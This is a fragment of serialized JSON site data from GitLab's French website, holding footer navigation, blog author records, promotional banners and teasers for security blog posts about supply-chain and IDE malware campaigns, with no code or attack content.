page",{"href":2442,"dataGaName":2443,"dataGaLocation":2438},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":2224,"config":2445},{"href":2446,"dataGaName":2447,"dataGaLocation":2438},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":2449,"facebook":2450,"youtube":2451,"linkedin":2452},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[2454,2500,2553,2596,2628],{"title":2141,"links":2455,"subMenu":2470},[2456,2460,2465],{"text":2457,"config":2458},"Voir les forfaits",{"href":2143,"dataGaName":2459,"dataGaLocation":2438},"view plans",{"text":2461,"config":2462},"GitLab Premium",{"href":2463,"dataGaName":2464,"dataGaLocation":2438},"/fr-fr/pricing/premium/","why premium",{"text":2466,"config":2467},"GitLab Ultimate",{"href":2468,"dataGaName":2469,"dataGaLocation":2438},"/fr-fr/pricing/ultimate/","why ultimate",[2471],{"title":2316,"links":2472},[2473,2475,2477,2480,2485,2490,2495],{"text":2323,"config":2474},{"href":2325,"dataGaName":2003,"dataGaLocation":2438},{"text":2328,"config":2476},{"href":2330,"dataGaName":2331,"dataGaLocation":2438},{"text":2478,"config":2479},"Portail clients",{"href":2335,"dataGaName":2336,"dataGaLocation":2438},{"text":2481,"config":2482},"Statut",{"href":2483,"dataGaName":2484,"dataGaLocation":2438},"https://status.gitlab.com/","status",{"text":2486,"config":2487},"Conditions d'utilisation",{"href":2488,"dataGaName":2489,"dataGaLocation":2438},"/terms/","terms of use",{"text":2491,"config":2492},"Politique de confidentialité",{"href":2493,"dataGaName":2494,"dataGaLocation":2438},"/fr-fr/privacy/","privacy statement",{"text":2496,"config":2497},"Gestion des cookies",{"dataGaName":2498,"dataGaLocation":2438,"id":2499,"isOneTrustButton":213},"cookie preferences","ot-sdk-btn",{"title":2040,"links":2501,"subMenu":2510},[2502,2506],{"text":2503,"config":2504},"Plateforme DevSecOps",{"href":2022,"dataGaName":2505,"dataGaLocation":2438},"devsecops platform",{"text":2507,"config":2508},"Développement assisté par l'IA",{"href":2029,"dataGaName":2509,"dataGaLocation":2438},"ai-assisted development",[2511],{"title":2512,"links":2513},"Thèmes",[2514,2518,2523,2528,2533,2538,2543,2548],{"text":1940,"config":2515},{"href":2516,"dataGaName":2517,"dataGaLocation":2438},"/fr-fr/topics/ci-cd/","cicd",{"text":2519,"config":2520},"GitOps",{"href":2521,"dataGaName":2522,"dataGaLocation":2438},"/fr-fr/topics/gitops/","gitops",{"text":2524,"config":2525},"DevOps",{"href":2526,"dataGaName":2527,"dataGaLocation":2438},"/fr-fr/topics/devops/","devops",{"text":2529,"config":2530},"Contrôle de version",{"href":2531,"dataGaName":2532,"dataGaLocation":2438},"/fr-fr/topics/version-control/","version control",{"text":2534,"config":2535},"DevSecOps",{"href":2536,"dataGaName":2537,"dataGaLocation":2438},"/fr-fr/topics/devsecops/","devsecops",{"text":2539,"config":2540},"Cloud-native",{"href":2541,"dataGaName":2542,"dataGaLocation":2438},"/fr-fr/topics/cloud-native/","cloud native",{"text":2544,"config":2545},"IA pour la programmation",{"href":2546,"dataGaName":2547,"dataGaLocation":2438},"/fr-fr/topics/devops/ai-for-coding/","ai for coding",{"text":2549,"config":2550},"IA agentique",{"href":2551,"dataGaName":2552,"dataGaLocation":2438},"/fr-fr/topics/agentic-ai/","agentic ai",{"title":2554,"links":2555},"Solutions",[2556,2559,2561,2566,2569,2572,2575,2578,2580,2583,2586,2591],{"text":2084,"config":2557},{"href":2079,"dataGaName":2558,"dataGaLocation":2438},"Application Security Testing",{"text":2071,"config":2560},{"href":2056,"dataGaName":2057,"dataGaLocation":2438},{"text":2562,"config":2563},"Développement Agile",{"href":2564,"dataGaName":2565,"dataGaLocation":2438},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":2066,"config":2567},{"href":2068,"dataGaName":2568,"dataGaLocation":2438},"source code management",{"text":1940,"config":2570},{"href":2061,"dataGaName":2571,"dataGaLocation":2438},"continuous integration & delivery",{"text":2110,"config":2573},{"href":2112,"dataGaName":2574,"dataGaLocation":2438},"value stream management",{"text":2519,"config":2576},{"href":2577,"dataGaName":2522,"dataGaLocation":2438},"/fr-fr/solutions/gitops/",{"text":2123,"config":2579},{"href":2126,"dataGaName":2127,"dataGaLocation":2438},{"text":2581,"config":2582},"PME",{"href":2132,"dataGaName":2133,"dataGaLocation":2438},{"text":2584,"config":2585},"Secteur public",{"href":2138,"dataGaName":2139,"dataGaLocation":2438},{"text":2587,"config":2588},"Éducation",{"href":2589,"dataGaName":2590,"dataGaLocation":2438},"/fr-fr/solutions/education/","education",{"text":2592,"config":2593},"Services financiers",{"href":2594,"dataGaName":2595,"dataGaLocation":2438},"/fr-fr/solutions/finance/","financial services",{"title":2146,"links":2597},[2598,2600,2602,2604,2607,2609,2612,2614,2616,2618,2620,2622,2624,2626],{"text":2159,"config":2599},{"href":2161,"dataGaName":2162,"dataGaLocation":2438},{"text":2164,"config":2601},{"href":2166,"dataGaName":2167,"dataGaLocation":2438},{"text":2169,"config":2603},{"href":2171,"dataGaName":2172,"dataGaLocation":2438},{"text":2174,"config":2605},{"href":2176,"dataGaName":2606,"dataGaLocation":2438},"docs",{"text":2197,"config":2608},{"href":2199,"dataGaName":2200,"dataGaLocation":2438},{"text":2610,"config":2611},"Nouveautés",{"href":2257,"dataGaName":2258,"dataGaLocation":2438},{"text":2192,"config":2613},{"href":2194,"dataGaName":2195,"dataGaLocation":2438},{"text":2211,"config":2615},{"href":2213,"dataGaName":2214,"dataGaLocation":2438},{"text":2219,"config":2617},{"href":2221,"dataGaName":2222,"dataGaLocation":2438},{"text":2224,"config":2619},{"href":2226,"dataGaName":2227,"dataGaLocation":2438},{"text":2229,"config":2621},{"href":2231,"dataGaName":2232,"dataGaLocation":2438},{"text":2234,"config":2623},{"href":2236,"dataGaName":2237,"dataGaLocation":2438},{"text":2239,"config":2625},{"href":2241,"dataGaName":2242,"dataGaLocation":2438},{"text":2244,"config":2627},{"href":2246,"dataGaName":2247,"dataGaLocation":2438},{"title":2260,"links":2629},[2630,2632,2634,2636,2638,2640,2645,2650,2652,2654,2656],{"text":2268,"config":2631},{"href":2270,"dataGaName":2262,"dataGaLocation":2438},{"text":2273,"config":2633},{"href":2275,"dataGaName":2276,"dataGaLocation":2438},{"text":2281,"config":2635},{"href":2283,"dataGaName":2284,"dataGaLocation":2438},{"text":2286,"config":2637},{"href":2288,"dataGaName":2289,"dataGaLocation":2438},{"text":2291,"config":2639},{"href":2293,"dataGaName":2294,"dataGaLocation":2438},{"text":2641,"config":2642},"Développement durable",{"href":2643,"dataGaName":2644,"dataGaLocation":2438},"/sustainability/","Sustainability",{"text":2646,"config":2647},"Diversité, inclusion et appartenance (DIB)",{"href":2648,"dataGaName":2649,"dataGaLocation":2438},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":2296,"config":2651},{"href":2298,"dataGaName":2299,"dataGaLocation":2438},{"text":2306,"config":2653},{"href":2308,"dataGaName":2309,"dataGaLocation":2438},{"text":2311,"config":2655},{"href":2313,"dataGaName":2314,"dataGaLocation":2438},{"text":2657,"config":2658},"Déclaration de transparence sur l'esclavage moderne",{"href":2659,"dataGaName":2660,"dataGaLocation":2438},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":2662},[2663,2665,2667],{"text":2486,"config":2664},{"href":2488,"dataGaName":2489,"dataGaLocation":2438},{"text":2496,"config":2666},{"dataGaName":2498,"dataGaLocation":2438,"id":2499,"isOneTrustButton":213},{"text":2491,"config":2668},{"href":2493,"dataGaName":2494,"dataGaLocation":2438},[2670,2684],{"id":2671,"title":7,"body":1973,"config":2672,"content":2675,"description":1973,"extension":2678,"meta":2679,"navigation":213,"path":2680,"seo":2681,"stem":2682,"__hash__":2683},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":2673,"gitlabHandle":2674},"BlogAuthor","dabeles",{"name":7,"config":2676},{"headshot":2677},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg","yml",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",{"id":2685,"title":8,"body":1973,"config":2686,"content":2687,"description":1973,"extension":2678,"meta":2691,"navigation":213,"path":2692,"seo":2693,"stem":2694,"__hash__":2695},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":2673},{"name":8,"config":2688},{"headshot":2689,"ctfId":2690},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",[2697,2706,2714],{"title":2698,"description":2699,"heroImage":2700,"category":1969,"date":2701,"authors":2702,"slug":2705,"externalUrl":1973},"Comment détecter et prévenir les attaques de type Contagious Interview dans les IDE","Découvrez comment nous avons développé des contrôles sur mesure pour détecter et prévenir les campagnes de logiciels malveillants comme celles utilisées lors des attaques Contagious Interview, et comment les déployer dans votre environnement.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-06-24",[2703,2704],"Josh Feehs","Austin Bollinger","how-to-detect-and-prevent-contagious-interview-ide-attacks",{"title":2707,"description":2708,"heroImage":2709,"category":1969,"date":2710,"authors":2711,"slug":2713,"externalUrl":1973},"Une campagne imitant Shai-Hulud cible les développeurs Python via le typosquatting PyPI","L'équipe Vulnerability Research de GitLab a découvert une attaque de la chaîne d'approvisionnement Python sur PyPI, qui déploie le ver Shai-Hulud pour dérober des identifiants provenant des systèmes CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-06-15",[2712,7],"Dinesh Bolkensteyn","shai-hulud-copycat-campaign-targets-python-developers",{"title":2715,"description":2716,"heroImage":2717,"category":1969,"date":2718,"authors":2719,"slug":2721,"externalUrl":1973},"Créez un framework de tests de détection automatisés avec GitLab CI/CD et GitLab Duo","Découvrez comment l'équipe Signals Engineering de GitLab a conçu le framework WATCH pour valider en continu son pipeline de surveillance de sécurité.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-06-08",[2720],"Evan Baltman","automated-detection-testing-framework",{"promotions":2723},[2724,2738,2750,2761],{"id":2725,"categories":2726,"header":2728,"text":2729,"button":2730,"image":2735},"ai-modernization",[2727],"ai","L'IA tient-elle ses promesses à grande échelle ?","Le questionnaire ne prendra pas plus de 5 minutes.",{"text":2731,"config":2732},"Obtenez votre score de maturité IA",{"href":2733,"dataGaName":2734,"dataGaLocation":2200},"/fr-fr/assessments/ai-modernization-assessment/","modernization assessment",{"config":2736},{"src":2737},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":2739,"categories":2740,"header":2742,"text":2729,"button":2743,"image":2747},"devops-modernization",[2741,2537],"product","Vous contentez-vous de gérer des outils ou de livrer des innovations ?",{"text":2744,"config":2745},"Obtenez votre score de maturité DevOps",{"href":2746,"dataGaName":2734,"dataGaLocation":2200},"/fr-fr/assessments/devops-modernization-assessment/",{"config":2748},{"src":2749},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":2751,"categories":2752,"header":2753,"text":2729,"button":2754,"image":2758},"security-modernization",[1985],"Faut-il sacrifier la rapidité pour garantir la sécurité ?",{"text":2755,"config":2756},"Obtenez votre score de maturité en matière de sécurité",{"href":2757,"dataGaName":2734,"dataGaLocation":2200},"/fr-fr/assessments/security-modernization-assessment/",{"config":2759},{"src":2760},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":2762,"paths":2763,"header":2766,"text":2767,"button":2768,"image":2773},"github-azure-migration",[2764,2765],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Votre équipe est-elle prête pour la migration de GitHub vers Azure ?","GitHub a déjà commencé sa migration vers Azure. Découvrez ce que cela signifie pour vous.",{"text":2769,"config":2770},"Découvrez les différences entre GitLab et GitHub",{"href":2771,"dataGaName":2772,"dataGaLocation":2200},"/fr-fr/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":2774},{"src":2749},{"header":2776,"blurb":2777,"button":2778,"secondaryButton":2782},"Commencez à développer plus rapidement dès aujourd'hui","Découvrez ce que votre équipe peut accomplir avec la plateforme d'orchestration intelligente pour le DevSecOps.\n",{"text":1995,"config":2779},{"href":2780,"dataGaName":1998,"dataGaLocation":2781},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/fr-fr/","feature",{"text":2323,"config":2783},{"href":2325,"dataGaName":2003,"dataGaLocation":2781},1786803765007]